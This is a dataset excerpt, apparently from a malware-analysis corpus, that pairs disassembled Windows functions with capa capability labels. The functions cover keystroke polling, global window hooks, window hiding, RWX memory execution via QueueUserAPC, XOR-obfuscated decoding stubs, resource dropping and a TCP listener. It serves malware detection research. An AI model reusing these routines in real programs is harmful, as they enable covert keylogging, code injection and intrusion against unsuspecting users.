joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46dd28
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x46dd60]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x46dd41
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x46dd50
or bl, 4
test esi, 0x20000000
je 0x46dd5b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x46ddb0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
add esp, 0xffffff00
push esp
call sub.user32.dll_GetKeyboardState
mov eax, esp
call fcn.0046dd64
mov ebx, eax
mov eax, ebx
add esp, 0x100
pop ebx
ret

Function at 0x474428
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x47443a
add esp, 0xfffffff0
call fcn.00403d60
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00421620
mov eax, dword [0x50bc58]
mov dword [eax + 4], ebx
mov dword [eax], 0x4747cc
mov eax, dword [0x50bc64]
mov dword [eax + 4], ebx
mov dword [eax], 0x4747d8
mov eax, ebx
call fcn.004747e4
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x41672c]
call fcn.004039cc
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x41672c]
call fcn.004039cc
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x41672c]
call fcn.004039cc
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x41672c]
call fcn.004039cc
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x41672c]
call fcn.004039cc
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x470c00
push eax
push 0
push 0
mov eax, dword [0x50bdd0]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x4230b4]
call fcn.00424750
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x4230b4]
call fcn.00424750
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x4230b4]
call fcn.00424750
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00474c04
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x474ae0
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x474ae0
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x474ae0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x474577
call fcn.00403db8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4748c4
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x474a6f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x474a50
mov dl, 1
mov eax, dword [0x416d90]
call fcn.004039cc
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.0040478c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x474a3f
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00462680
test al, al
je 0x474a32
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x474a80
lea eax, [ebp - 0x254]
call fcn.004098cc
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x474a32
xor eax, eax
push ebp
push 0x474a2b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x474ab8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x474a14
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004049fc
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x474a14
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004049fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474a32
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x474935
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041b620
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474a76
lea eax, [ebp - 0x260]
call fcn.0040478c
ret

Function at 0x4753a4
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x50dbc0]
cmp byte [eax + 0xa5], 0
jne 0x475415
cmp dword [0x50dbd8], 0
jne 0x4753d6
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x475360
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x50dbd8], eax
cmp dword [0x50dbd4], 0
jne 0x4753f1
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x50dbd4], eax
cmp dword [0x50dbdc], 0
jne 0x475415
push esp
push 0
push 0
push 0x475304
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x50dbdc], eax
pop edx
ret
Function at 0x47550c
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x475523
add esp, 0xfffffff0
call fcn.00403d60
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00421620
mov eax, dword [0x50bdbc]
cmp word [eax + 2], 0
jne 0x47554b
mov eax, dword [0x50bdbc]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00476be4
mov eax, dword [0x50be84]
cmp word [eax + 2], 0
jne 0x475565
mov eax, dword [0x50be84]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00476ddc
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41672c]
call fcn.004039cc
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41672c]
call fcn.004039cc
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x423abc]
call fcn.0042b080
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x4756ec
mov eax, dword [0x50bcc8]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042b450
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x47737c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x50bcc8]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040d040
test eax, eax
je 0x47565a
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004092ac
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040d068
test eax, eax
je 0x47566e
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004049fc
mov eax, dword [0x50bb94]
cmp byte [eax], 0
jne 0x4756a2
mov eax, ebx
call fcn.00475814
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00477558
mov eax, ebx
call fcn.00477f1c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4756e2
call fcn.00403db8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x475a94
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x50dbc0]
cmp dword [eax + 0x30], 0
je 0x475b3e
cmp dword [ebx + 0x94], 0
jne 0x475b38
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x475a24
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x475b38
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x475afe
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x475b38
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00418f7c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x475b0d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4766a0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x4766d5
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040487c
jmp 0x4766e2
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004047e0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x477734
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x477775
mov eax, esi
call fcn.0045dc04
test al, al
je 0x477775
mov eax, dword [ebx + 0x84]
call fcn.0045d900
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x477775
push 0
mov eax, dword [ebx + 0x84]
call fcn.0045d900
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x47a984
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor edx, edx
push ebp
push 0x47aa10
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x40
push 0x3000
push 0x76198
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
test ebx, ebx
jne 0x47a9c7
mov ecx, 0x47aa34
mov dl, 1
mov eax, dword [0x47a8a8]
call fcn.0047a910
call fcn.004041c8
mov edx, dword [0x50bd18]
mov ecx, 0x76198
mov eax, ebx
call fcn.0040741c
push 0
call sub.kernel32.dll_GetCurrentThread
push eax
push ebx
call sub.kernel32.dll_QueueUserAPC
test eax, eax
jne 0x47aa01
mov ecx, 0x47aa4c
mov dl, 1
mov eax, dword [0x47a8a8]
call fcn.0047a910
call fcn.004041c8
call sub.ntdll.dll_NtTestAlert
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47aa26
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x47dab4
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x47dae2
mov eax, ebx
call fcn.0047e568
cmp dword [ebx + 0x40], 0
je 0x47dadb
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x47db53
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x47db45
cmp dword [ebx + 8], 0
je 0x47db04
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x47db16
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x47db45
cmp dword [ebx + 8], 0
je 0x47daf7
cmp eax, 3
je 0x47db29
dec eax
jne 0x47daf7
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x47daf7
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x47daf7
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x47db71
cmp dword [ebx + 0x14], 0xcc
je 0x47db71
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0047db7c
pop ebx
ret

Function at 0x48e428
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404c3c
xor eax, eax
push ebp
push 0x48e4b8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0040478c
mov eax, dword [ebp - 4]
call fcn.00404a4c
mov ebx, eax
test bx, bx
jbe 0x48e49a
mov di, 1
movzx eax, di
mov edx, dword [ebp - 4]
movzx eax, byte [edx + eax - 1]
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
mov dx, word [ebp - 6]
xor dx, 0xc
call fcn.00404974
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00404a54
inc edi
dec bx
jne 0x48e46b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48e4bf
lea eax, [ebp - 0xc]
call fcn.0040478c
lea eax, [ebp - 4]
call fcn.0040478c
ret
Function at 0x48ea68
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404c3c
xor eax, eax
push ebp
push 0x48eb99
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00402a60
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.0040910c
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
mov ecx, 0x48ebb0
call fcn.00404a98
mov eax, dword [ebp - 0xc]
call fcn.00409040
test al, al
je 0x48eade
mov eax, dword [ebp - 0xc]
call fcn.00404c4c
mov edx, eax
lea eax, [ebp - 0x1c]
call fcn.00404984
mov eax, dword [ebp - 0x1c]
call fcn.00409074
push 0xa
mov eax, dword [ebp - 4]
call fcn.00404c4c
push eax
mov eax, dword [0x50d664]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
test ebx, ebx
je 0x48eb6e
push ebx
mov eax, dword [0x50d664]
push eax
call sub.kernel32.dll_SizeofResource
mov edi, eax
test edi, edi
je 0x48eb6e
push ebx
mov eax, dword [0x50d664]
push eax
call sub.kernel32.dll_LoadResource
test eax, eax
je 0x48eb6e
push eax
call sub.kernel32.dll_LockResource
mov esi, eax
test esi, esi
je 0x48eb6e
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 0xc]
call fcn.00404c4c
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x48eb6e
push 0
lea eax, [ebp - 0x10]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.004047e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48eba0
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004047b0
lea eax, [ebp - 0xc]
call fcn.0040478c
lea eax, [ebp - 4]
call fcn.0040478c
ret

Function at 0x490ad0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x490b41
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 8]
xor eax, eax
call fcn.00402a60
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.0040910c
mov edx, dword [ebp - 4]
mov eax, ebx
mov ecx, 0x490b58
call fcn.00404a98
mov eax, dword [ebx]
call fcn.00409050
test al, al
jne 0x490b26
push 0
mov eax, dword [ebx]
call fcn.00404c4c
push eax
call sub.kernel32.dll_CreateDirectoryA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x490b48
lea eax, [ebp - 8]
mov edx, 2
call fcn.004047b0
ret

Function at 0x492040
Capabilities:
Initialize winsock library

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffe5c
mov esi, edx
mov ebx, eax
lea eax, [esp + 4]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
mov dword [esp], 0x10
push esp
lea eax, [esp + 0x198]
push eax
push ebx
call sub.wsock32.dll_getpeername
call sub.wsock32.dll_WSACleanup
mov edi, esi
lea esi, [esp + 0x194]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0x1a4
pop edi
pop esi
pop ebx
ret
Function at 0x4920ec
Capabilities:
Terminate thread

Disassembly:
push ebx
push ecx
mov ebx, eax
push esp
push ebx
call sub.kernel32.dll_GetExitCodeThread
mov eax, dword [esp]
push eax
push ebx
call sub.kernel32.dll_TerminateThread
test eax, eax
je 0x49210d
mov eax, 1
pop edx
pop ebx
ret
xor eax, eax
pop edx
pop ebx
ret

Function at 0x492114
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404c3c
xor eax, eax
push ebp
push 0x492174
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404a4c
mov edi, eax
push 0
mov eax, dword [ebp - 4]
call fcn.00404a4c
push eax
lea eax, [ebp - 4]
call fcn.00404ca4
push eax
push ebx
call sub.wsock32.dll_send
add dword [esi], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49217b
lea eax, [ebp - 4]
call fcn.0040478c
ret

Function at 0x493a94
Capabilities:
Create thread

Disassembly:
push ecx
mov dword [0x50e2d8], edx
mov dword [0x50e2dc], 0xd
push esp
push 0
push 0x50e2d8
push 0x49245c
push 0
push 0
call sub.kernel32.dll_CreateThread
mov eax, 0xb
pop edx
ret

Function at 0x493ac4
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library
Start tcp server

Disassembly:
push ebx
push esi
mov ebx, eax
call sub.wsock32.dll_WSACleanup
lea eax, [ebx + 4]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor eax, eax
mov dword [ebx + 0x4e4], eax
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 0x198], eax
mov word [ebx + 0x19c], 2
mov ax, word [ebx + 0x4e0]
push eax
call sub.wsock32.dll_htons
mov word [ebx + 0x19e], ax
xor eax, eax
mov dword [ebx + 0x1a0], eax
push 0x10
lea eax, [ebx + 0x19c]
push eax
mov eax, dword [ebx + 0x198]
push eax
call sub.wsock32.dll_bind
test eax, eax
je 0x493b47
mov esi, 8
mov dword [ebx + 0x4e8], esi
call sub.wsock32.dll_WSACleanup
jmp 0x493bd3
push 5
mov eax, dword [ebx + 0x198]
push eax
call sub.wsock32.dll_listen
test eax, eax
je 0x493b6b
mov esi, 4
mov dword [ebx + 0x4e8], esi
call sub.wsock32.dll_WSACleanup
jmp 0x493bd3
mov dword [ebx + 0x1bc], 0x10
lea eax, [ebx + 0x1bc]
push eax
lea eax, [ebx + 0x1ac]
push eax
mov eax, dword [ebx + 0x198]
push eax
call sub.wsock32.dll_accept
mov esi, eax
mov dword [ebx + 0x194], esi
inc esi
jne 0x493bac
mov esi, 5
mov dword [ebx + 0x4e8], esi
call sub.wsock32.dll_WSACleanup
jmp 0x493bd3
mov edx, dword [ebx + 0x194]
mov eax, ebx
call fcn.00493a94
mov edx, eax
mov eax, ebx
call fcn.0049203c
mov dword [ebx + 0x194], 0xffffffff
jmp 0x493b75
mov eax, esi
pop esi
pop ebx
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040d20a
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040d20a
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040d20a
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040d20a
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040d20a
mov dword [0x41203c], eax
call fcn.0040d20a
test eax, eax
jge 0x402550
push 8
call fcn.0040d20a
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040d20a
pop ecx
push 1
call fcn.0040d20a
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040d20a
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040d20a
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040d20a
jmp 0x402495

Function at 0x40d20a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40d219
pop dword [ebp - 0xc]
mov eax, 0xd9c7224d
sub eax, 0xd9865034
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x36a40
push 0
mov eax, 0xcd58d34
add eax, 0xf36b53a4
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x6cff173
sub ecx, 0x6cfb442
mov edi, eax
mov ebx, 0x413bc4
add ebx, dword [ebp - 0xc]
mov edx, 0x7d02a056
add dword [ebp - 4], edx
mov esi, dword [ebx]
sub esi, edx
xor dword [ebp - 8], ecx
mov dword [edi], esi
add dword [ebp - 4], 0xa83cd460
add edi, 4
add ebx, 0xc6c6cb2f
add ebx, 0x393934d5
loop 0x40d26c
add eax, 0xe797
xor ebx, ebx
add ebx, eax
add eax, 0x558026ba
add eax, 0xaa7fd94b
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x4021f0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x148
mov eax, dword [0x40e3e0]
xor eax, esp
mov dword [esp + 0x144], eax
push ebp
mov ebp, dword [esp + 0x154]
push esi
push edi
push 0x104
lea eax, [esp + 0x50]
push 0
push eax
call fcn.00404c50
mov eax, dword [esp + 0x164]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0xc
sub eax, 1
je 0x4022b0
sub eax, 1
je 0x40229e
sub eax, 1
jne 0x402300
lea ecx, [esp + 0x4c]
push ecx
push eax
push eax
push 0x23
push eax
call fcn.00403140
add esp, 0x14
lea edx, [esp + 0x4c]
push edx
call edi
cmp byte [esp + eax + 0x4b], 0x5c
je 0x40226c
mov byte [esp + eax + 0x4c], 0x5c
mov byte [esp + eax + 0x4d], 0
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402300
mov byte [ebp], 0
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x144]
xor ecx, esp
call fcn.00404c23
add esp, 0x148
ret
lea ecx, [esp + 0x4c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x402254
push 0x104
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x4c]
push edx
call edi
cmp byte [esp + eax + 0x4b], 0x5c
je 0x4022d4
mov byte [esp + eax + 0x4c], 0x5c
inc eax
lea esi, [esp + eax + 0x4c]
push str.Temp
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402280
push 0x40b28c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.2404121412154983307551804
call edi
dec eax
cmp eax, 8
jl 0x402284
mov al, byte [eax + str.2404121412154983307551804]
cmp al, 0x30
jl 0x402284
cmp al, 0x39
jg 0x402284
movsx esi, al
sub esi, 0x30
and esi, reloc.WS2_32.dll_closesocket
jns 0x40233a
dec esi
or esi, 0xfffffffc
inc esi
push str.2404121412154983307551804
add esi, 4
call edi
sub eax, esi
dec eax
xor ecx, ecx
lea eax, [eax + str.2404121412154983307551804]
nop
mov dl, byte [eax]
test dl, dl
je 0x4023b5
test esi, esi
jle 0x4023b5
add dl, dl
inc dl
inc eax
mov byte [esp + ecx + 0xc], dl
mov dl, byte [eax]
dec esi
test dl, dl
je 0x4023aa
test esi, esi
jle 0x4023aa
add dl, dl
inc dl
inc eax
mov byte [esp + ecx + 0xd], dl
mov dl, byte [eax]
dec esi
test dl, dl
je 0x4023ad
test esi, esi
jle 0x4023ad
add dl, dl
inc dl
inc eax
mov byte [esp + ecx + 0xe], dl
mov dl, byte [eax]
dec esi
test dl, dl
je 0x4023b2
test esi, esi
jle 0x4023b2
add dl, dl
inc dl
mov byte [esp + ecx + 0xf], dl
add ecx, 4
dec esi
inc eax
cmp ecx, 0x40
jb 0x402350
jmp 0x4023b5
inc ecx
jmp 0x4023b5
add ecx, 2
jmp 0x4023b5
add ecx, 3
mov byte [esp + ecx + 0xc], 0x2e
push 0x40b288
lea ecx, [esp + ecx + 0x11]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x4c]
push edx
call edi
mov ecx, 0x104
sub ecx, eax
push ecx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x54]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [esp + eax + 0x54]
push ecx
call esi
push 0x103
lea edx, [esp + 0x50]
push edx
push ebp
call esi
mov ecx, dword [esp + 0x150]
pop edi
pop esi
pop ebp
xor ecx, esp
mov eax, 1
call fcn.00404c23
add esp, 0x148
ret